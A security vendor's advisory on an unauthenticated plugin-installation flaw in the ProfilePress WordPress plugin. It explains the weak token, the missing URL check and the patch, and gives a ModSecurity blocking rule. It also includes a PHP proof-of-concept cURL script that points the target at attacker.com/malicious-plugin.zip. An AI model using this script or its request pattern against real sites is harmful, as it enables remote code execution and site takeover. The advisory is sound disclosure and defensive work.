Atomic Edge analysis of CVE-2026-66047: The ProfilePress plugin for WordPress (versions <= 4.17.1) contains an unauthenticated arbitrary plugin installation vulnerability in the LicenseUpgrader class. This flaw allows an attacker to install and activate a malicious plugin, leading to remote code execution. The CVSS score is 8.1 (High), and the weakness is classified as CWE-94 (Improper Control of Generation of Code).
The root cause lies in the process() method of the LicenseUpgrader class (wp-user-avatar/src/Admin/SettingsPages/LicenseUpgrader.php). The plugin registers an unauthenticated AJAX action wp_ajax_nopriv_ppress_connect_process that triggers process(). This method verifies a token (oth parameter) against the stored option ppress_connect_token. However, the token is generated using wp_rand() hashed with sha512, which is not cryptographically secure. Moreover, the token is not bound to a user session, has no expiration, and the comparison uses hash_equals(), but the token can be brute-forced because it is generated from a weak random source and the endpoint allows unlimited attempts. Additionally, the process() method does not validate the source URL of the plugin to be installed, allowing an attacker to supply an arbitrary URL pointing to a malicious plugin ZIP.
An attacker exploits this by sending a POST request to /wp-admin/admin-ajax.php with action=ppress_connect_process, a valid oth token (brute-forced), and a url parameter pointing to a malicious plugin ZIP hosted on an attacker-controlled server. The attacker must guess the token value. Because the token is generated from wp_rand(), which may be predictable or brute-forceable, the attacker can repeatedly attempt tokens until successful. Once the correct token is supplied, the plugin downloads and installs the ZIP, then activates it, resulting in code execution.
The patch introduces several security enhancements. First, it moves the add_action for wp_ajax_nopriv_ppress_connect_process inside the is_premium() check, ensuring that unauthenticated access is only available when necessary. Second, it replaces wp_rand() with random_bytes(32) for token generation, providing cryptographically secure randomness. Third, it stores the token with a timestamp (created_at) and enforces a 5-minute expiration (TOKEN_EXPIRY_SECONDS). Fourth, it validates the plugin download URL to ensure it uses HTTPS and belongs to the profilepress.com domain (or subdomains). Fifth, it always deletes the token on any attempt (success or failure) to prevent brute-force attacks. These changes collectively mitigate the vulnerability.
If exploited, this vulnerability allows an unauthenticated attacker to install and activate any plugin from a remote URL, leading to arbitrary code execution on the server. The attacker can then fully compromise the WordPress site, including data theft, privilege escalation, and further malicious activities. The impact is critical, as it requires no authentication and can be automated.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66047
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266647,phase:2,deny,status:403,chain,msg:'CVE-2026-66047 via ProfilePress AJAX',severity:'CRITICAL',tag:'CVE-2026-66047'"
SecRule ARGS_POST:action "@streq ppress_connect_process" "chain"
SecRule ARGS_POST:url "@rx ^https?://" "t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66047 - Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress <= 4.17.1 - Unauthenticated Arbitrary Plugin Installation via Brute Force
// Configuration
$target_url = 'http://example.com'; // Replace with target WordPress site URL
$attacker_plugin_url = 'http://attacker.com/malicious-plugin.zip'; // Replace with URL to malicious plugin ZIP
// The AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The token is generated using wp_rand() and hashed with sha512. In a real attack, the attacker would need to brute-force this token.
// For demonstration, we assume the token is known or has been brute-forced. We'll use a placeholder.
$token = 'brute_forced_token_here'; // Replace with actual token after brute-forcing
// Prepare POST data
$post_data = array(
'action' => 'ppress_connect_process',
'oth' => $token,
'url' => $attacker_plugin_url,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// If successful, the malicious plugin will be installed and activated, leading to RCE.
// Note: This PoC assumes the attacker has already brute-forced the token. In practice, the attacker would need to repeatedly attempt tokens.
?>